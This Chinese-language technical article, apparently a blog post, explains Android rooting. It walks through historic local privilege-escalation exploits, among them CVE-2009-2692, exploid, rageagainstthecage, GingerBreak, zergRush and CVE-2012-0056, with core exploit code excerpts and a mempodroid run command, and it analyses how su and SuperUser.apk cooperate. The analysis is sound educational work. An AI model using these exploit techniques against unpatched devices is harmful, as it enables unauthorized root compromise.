【移动安全高级篇】————4、Android手机一键Root原理分析
一直以来，刷机与Root是Android手机爱好者最热衷的事情。即使国行手机的用户也不惜冒着失去保修的风险对Root手机乐此不疲。就在前天晚上，一年一度的Google I/O大会拉开了帷幕，最新的Android4.1系统成为了大会的热点，经过短短的几个小时后，网上就有人泄露了Jelly Bean的下载地址，再然后就有了Android 4.1带Root的完整刷机包，真是强大的人们！
Root的由来
什么是Root？Root本身是指Linux系统的root帐户，该帐户拥有整个系统至高无上的权利，系统中的所有对象它都可以操作，对于Android手机用户来说的Root是指拥有Root权限，一般情况下，手机厂商出于安全考虑会关闭手机的Root权限，手机系统是运行在普通用户权限下的，用户是无法操作系统中的文件与数据的。
Root与刷机本身是有很多关联的，而且随着刷机工具的便利与刷机原理的变化，两者的关系更加是模糊不清了。不同厂商针对获取Root权限设置了不同的要塞。
首先从刷机说起，如HTC手机在刷机前需要保证S-OFF，S-OFF代表什么呢？S代表 Security Lock安全锁，保护锁的意思，S-OFF就是关掉锁保护。然后是Motorola的手机，这个厂商对于不同型号的手机设置是不同的，很多Motorola型号的手机将BootLoader是锁住的，因此，在刷机前需要先解锁BootLoader。还有中兴手机，这厂商更是变态，一次次的版本升级只是为了锁住用户不让用户升级，也就导致了同一型号的手机由于版本不同有的型号带Recovery，有的又不带。三星的手机现在可以说是最好卖的，一方面是出色的硬件配置与外观，另一方面是有众多的Rom包可以刷。三星的好几款手机是Google源码的测试样机，而且三星手机在出厂时对用户的限制相比其它品牌是较少的，这也是广大Android开发者对它青睐有加的原因。
早先的Android手机要想获取Root权限可以有以下几种方式：
- 使用本地提权漏洞利用工具来直接Root，这是最原始最纯洁的方式。随着厂商对Rom的升级，这些内核的漏洞随时都可能被修补，因此，这种Root方法在时间与空间上都有着很大的局限性。
- 由于手机厂商对硬件的封闭，加上内核补丁修补很完全，这个时候获取Root权限就更难了，这个时候刷机与Root就联合起来了，由于不能从系统内部通过Exploits来获取Root权限，只能通过修改Rom包来达到Root的目的，这也是目前很多第三方Rom包自带了Root的原因，然而手机厂商也不是吃干饭的，手机厂商在OTA升级时使用Recovery对包签名进行验证来防止用户刷入修改过的包。对于这种变态的厂商，只能通过FastBoot来线刷了，这里内容就不再展开了。
- 当然，还有一部分厂商，为了吸引更多用户购买他们的手机，还是在手机中偷偷的留了后门的，比如不锁BootLoader，让用户刷第三方的Recovery，又或是干脆留个以前的漏洞不补，让用户自己来Exploits等等。
Root漏洞的历史
Root漏洞不是与生俱来的，这是全世界优秀的计算机黑客不懈努力的成果。也许那个你在夜店喝酒的夜晚，他们正寻找着系统的漏洞，一次次的测试，一次次的失败，最终在你醉得不省人事的时候，他们获取到了系统的最高控制权。他们欢呼，他们嚎叫，他们是全天下是聪明的人！
也许你对他们的事迹不屑一顾，但我相信你对他们的研究成果是饶有兴趣的。下来由我来带领大家，看看这一路走来，都出现过哪里牛人，他们又为我们带来了哪些惊喜。
CVE-2009-2692
我无法知道Android提权漏洞是从哪个开始的，但我在我印象中，它是最早的。这个漏洞的发现者是Zinx，他是探索Android安全之路的先驱。现在每个Root后的手机中肯定有SuperUser.apk软件，而Zinx就是早先SuperUser的作者，现在SuperUser由ChainsDD来负责更新了，Zinx前辈常年混迹于国外xda论坛，不过现在好像很少露面了。
这个洞是09年的，现在早已经修补了。从Zinx提供的android-root-20090816.tar.gz压缩包时间来看，这个Exploit是在Android NDK r1发布后近两个月公布的，可见Zinx研究Android的时间是多么的早！这个洞的原作者并不是Znix，Znix只是将洞移植到了Android上，这个洞的作者在Exploit中给出的协议驱动程序包括pppox, bluetooth, appletalk, ipx, sctp，Znix改写的Android版本使用的buletooth协议。这个漏洞的起因是sock_sendpage()的空指针解引用。因为sock_sendpage没有对socket_file_ops结构的sendpage字段做指针检查，有些模块不具备sendpage功能，初始时赋为NULL，这样，没有做检查的sock_sendpage有可能直接调用空指针而导致出错并提升权限！
接着，sendfile(fdout, fdin, NULL, PAGE_SIZE);的调用使得该洞被触发，最终执行以下代码获取到Root权限：
int __attribute__((section(".null"))) root_sendpage(void *sk, void *page, int offset, size_t size, int flags)
{
current->uid = current->euid = 0;
current->gid = current->egid = 0;
got_root = 1;
return -ECONNREFUSED;
}CVE-2010-EASY
这个漏洞是由“The Android Exploid Crew”小组发现的。在公布的代码中，提供了多达三种的提权方法！分别是exploid.c、exploid2.c、rageagainstthecage.c三个文件。
exploid.c与属于exploid2.c同一类Exploit，这个洞的形成是由于udev对热插拔消息检测不严导致的，用户通过发送恶意信息让内核加载自定义的恶意程序从而取得root权限。在代码中，两者都是通过NET_LINK来完成通信，只是在处理“geteuid() == 0”时代码不同而以，程序发送伪热插拔消息，让内核执行自身代码，而内核由于没有检查消息发送者是内核还是用户，就匆忙的执行了，这时“geteuid() == 0”条件成立，接下来只需开个sh就完成了Root工作。创建Socket并发送消息的代码如下：
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);rageagainstthecage.c这个洞有人把它称为setuid提权漏洞，这个漏洞的形成过程我个人感觉只能用“巧妙”来形容！代码通过将adbd后台服务子进程耗尽迫使adbd重启，adbd在重启的时候具有root权限，正常情况下这时adbd会调用setuid将权限降到shell，但是由于rageagainstthecage让adbd的僵尸进程充斥着整个系统，这时候setuid会调用失败，最后adbd就被保留了root权限运行，从而完成root提权。核心代码如下：
if (fork() > 0)
exit(0);
setsid();
pipe(pepe);
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}
close(pepe[1]);
read(pepe[0], &c, 1);
第1-3行代码fork子进程后退出，第4-6行子进程独立并创建两支管道同来同步进程，具体是由第8行与第25行是一关一读来实现的，第10-11行是不停的创建子进程，然后不停退出，这时僵尸产生了！直到最后p < 0输出创建的子进程数目。在这段代码执行完后会重启adb进程，adb进程重启会执行setgid(AID_SHELL)与setuid(AID_SHELL)两行代码来降权，可是这时候由于进程数达到上限setuid执行失败，这就使得adb进程以Root权限继续执行下去了。
GingerBreak
GingerBreak本身不是Linux内核漏洞，因此它没有正规的漏洞编号。与上面的漏洞同样的是，GingerBreak也是由“The Android Exploid Crew”小组“发明”的，它的工作原理与Hook类似，通过代码修改/system/bin/vold程序的GOT表项，将strcmp()、atoi()等函数的地址为system()函数的地址，然后触发调用strcmp()或atoi()来达到执行system()的目的，而后者真正被执行后会为我们来带久违的Root Shell，修改函数地址的代码片断如下：
vold.pid = found;
vold.found = 1;
if (vold.system)
return;
ptr = find_symbol("system");
vold.system = (uint32_t)ptr;在修改完函数地址后，就要考虑如何来触发了，“The Android Exploid Crew”小组再一次使用了NET_LINK进行通信，通过发送热插拔消息让void中的strcmp()或atoi()被调用！但不同的Android系统版本可能操作起来有所不同，于是，需要手工构造消息，然后发送：
/* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
* inside vold main binary.
* Arent we smart? Using old school technique from '99 to fsck NX while others
* re-invent "ROP". Wuhahahahaha!!!
*/
if (honeycomb) {
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0);
} else if (froyo) {
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
} else {
n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);
}可以看到，代码的适用范围是froyo到honeycomb，仔细看一下代码的注释部分，代码的作者真的卡哇伊呢！
zergRush
同GingerBreak一样，zergRush也不属于内核漏洞。这个漏洞是大名鼎鼎的Revolutionary工具开发小组公布的，这个小组开发的Revolutionary解锁工具对于HTC的用户应该不陌生吧！这个漏洞的原理是由于libsysutils.so库中的FrameworkListener::dispatchCommand函数的一个栈变量引起的，栈变量argv[FrameworkListener::CMD_ARGS_MAX]由于允许的最大下标为16，如果我们特意传送超过 16 个空格分割的字符串，函数就会溢出。
整个溢出工具的代码框架与GingerBreak是一样的，我估计是在GingerBreak代码基础上加工的，嘿嘿，整个代码的核心部分在do_fault函数中，代码设计十分巧妙，经过精心的构造最终执行安排的Shellcode，整个过程通过代码阅读很难在大脑中建立模型结构，建议还是手动调试好。
以上介绍的几个漏洞代码都是优秀的，无可挑剔的，它们目前在全球各地以各种名称与形式存在着。
CVE-2012-0056
2012年1月23日，正当我们与家人聚在一起吃团年饭的时候，国外的小伙zx2c4在自己的主页上公布了此漏洞，随后，xda上的网友saurik对其编写了Android版本的Exploit。这个漏洞的原理是利用系统中具体s属性的程序通过自修改程序的内存，执行Shellcode达到获得Root权限的目的。完成修改进程内存的动作前需要解决两个问题：
- 系统只允许$pid进程或者$pid的调试进程对/proc/$pid/mem文件进行写入。
- 系统会检查打开/poc/$pid/mem的程序的self_exec_id是否与当前运行的程序相同，一个进程使用exec()后self_exec_id会自动加一，以此来保护内存不会被别的程序修改。
解决第一个问题很简单，可以直接打开自己进程的内存即可，第二个问题就难办了，因为进程打开自己时self_exec_id已经加一了，zx2c4使用子进程来巧妙的解决了这个问题，首先fork()子进程来保存进程的mem文件到CMSG_DATA,然后父进程使用dup(2)创建2号fd，接着dup2(mem, 2)将mem的内容dup2给2号fd，这时2号fd指向了/poc/$pid/mem的fd，下一步是构造参数args，调用"/system/bin/run-as"来执行Exploit，代码如下：
……
int save = dup(2);
dup2(mem, 2);
close(mem);
if (save != 3) {
dup2(save, 3);
close(save);
}
char self[1024];
_syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));
char *args[4 + argc + 1];
args[0] = strdup("run-as");
args[1] = (char *) exploit;
args[2] = self;
args[3] = strdup("-");
int i;
for (i = 0; i != argc; ++i)
args[4 + i] = argv[i];
args[4 + i] = NULL;
_syscall(execv("/system/bin/run-as", args));
return 0;漏洞利用程序在运行时需要提供三个参数exit()函数地址、setresuid()函数地址以及一个命令，如Root掉Galaxy Nexus手机可以执行：./data/local/tmp/mempodroid 0xd7f4 0xad4b sh
exit()与setresuid()函数地址的获取很简单，可以使用objdump查找，可以使用如下代码来获取：
int main(void) {
void* lib = dlopen("libc.so", RTLD_NOW | RTLD_GLOBAL);
void* symbol;
if (lib == NULL) {
fprintf(stderr, "Could not open self-executable with dlopen(NULL) !!: %s\n", dlerror());
return 1;
}
symbol = dlsym(lib, "exit");
if (symbol == NULL) {
fprintf(stderr, "Could not lookup symbol exit !!: %s\n", dlerror());
return 2;
}
printf("exit() addr:%08x\n", symbol);
symbol = dlsym(lib, "setresuid");
if (symbol == NULL) {
fprintf(stderr, "Could not lookup symbol setresuid !!: %s\n", dlerror());
return 2;
}
printf("setresuid() addr:%08x\n", symbol);
dlclose(lib);
return 0;
}这个漏洞目前是最新的，并且漏洞的补丁是Linux的父亲Linus亲自提交的。在最新ICS 4.0.2（ICL53F）以前的Android系统中，这个漏洞可以正常工作。
su与SuperUser.apk是如何协作的
在Root后手机会植入su与superuser.apk两个文件，前者会被放入手机的/system/bin目录下，后者被放到/system/app目录下，它们组合在一起，为系统提供了su权限的管理。这两个工具目前由xda论坛上的ChainsDD在维护（顺便说一下，国内xxRoot工具也有自已的su与SuperUser.apk文件，修改取自并修改于ChainsDD的代码，并且版权被切）。
su程序与Linux平台上的su本身无太大差别，只是由于系统的特殊性去掉了部分内容，并加上了一些控制代码。su程序保留的命令行参数不多，“-c”与“-s”可能是最常用的，整个程序核心功能由两个方向性的函数allow()与deny()组成，在经过计算获取到了命令行参数与命令后，会执行以下代码：
if (su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)
allow(shell, orig_umask);
if (stat(REQUESTOR_DATA_PATH, &st) < 0) {
PLOGE("stat");
deny();
}
……
setgroups(0, NULL);
setegid(st.st_gid);
seteuid(st.st_uid);AID_ROOT与AID_SHELL分别是root与shell权限，程序直接放行，stat()函数会检查手机是否安装有SuperUser.apk，没有程序会拒绝执行。条件满足就会以Superuser的权限往下执行：
db = database_init();
if (!db) {
LOGE("sudb - Could not open database, prompt user");
dballow = DB_INTERACTIVE;
} else {
LOGE("sudb - Database opened");
dballow = database_check(db, &su_from, &su_to);
sqlite3_close(db);
db = NULL;
LOGE("sudb - Database closed");
}
switch (dballow) {
case DB_DENY: deny();
case DB_ALLOW: allow(shell, orig_umask);
case DB_INTERACTIVE: break;
default: deny();
}database_init()与database_check()负责从SuperUser.apk程序databases目录下的permissions.sqlite数据库中读取权限设置，这也是为什么SuperUser.apk有能力控制su的原因！（人家主动找上门的）等dballow弄到手，该放行该拒绝就看着办了，如果没搜索到记录就代表是第一次，需要往下建立socket来send_intent，send_intent()采用底层构造Intent方式来发送广播，这个广播会被SuperUser.apk接收，等返回后会给你返回个字符串“ALLOW”或“DENY”，这时候su程序该咋地就咋地了：
if (send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {
deny();
}
if (socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {
deny();
}
……
if (!strcmp(result, "DENY")) {
deny();
} else if (!strcmp(result, "ALLOW")) {
allow(shell, orig_umask);
} else {
LOGE("unknown response from Superuser Requestor: %s", result);
deny();
}下面是SuperUser.apk的工作了，上面的广播会被SuperUser.apk的SuRequestReceiver广播接收者收到，广播接收者首先读取prompt设置，如果用户要的是自动处理，那就根据这个值来对Root权限请求自动拒绝或自动放行，如果不自动处理，就到数据库中搜索权限规则，并根据结果发回处理，另外SuperUser除了对普通的程序进程su权限控制外，还提供了NFC、SecretCode、PinCode的监控，SuperUser同时注册了安装与卸载Apk的广播接收者，在安装与卸载时会对权限数据库中的条目进行更新或删除操作，限于篇幅，SuperUser的详细实现在此就不再展开了。
到这里本文就告一段落了。本文主要分析了手机Root权限获取的过程，并介绍了常见的几个Root提权漏洞，最后通过分析su与SuperUser.apk的协作方式解了Root真正的原理。由于本人知识有限，文中难免会有纰漏或理解出错的地方，如果您有任何问题或建议，还望来信指正。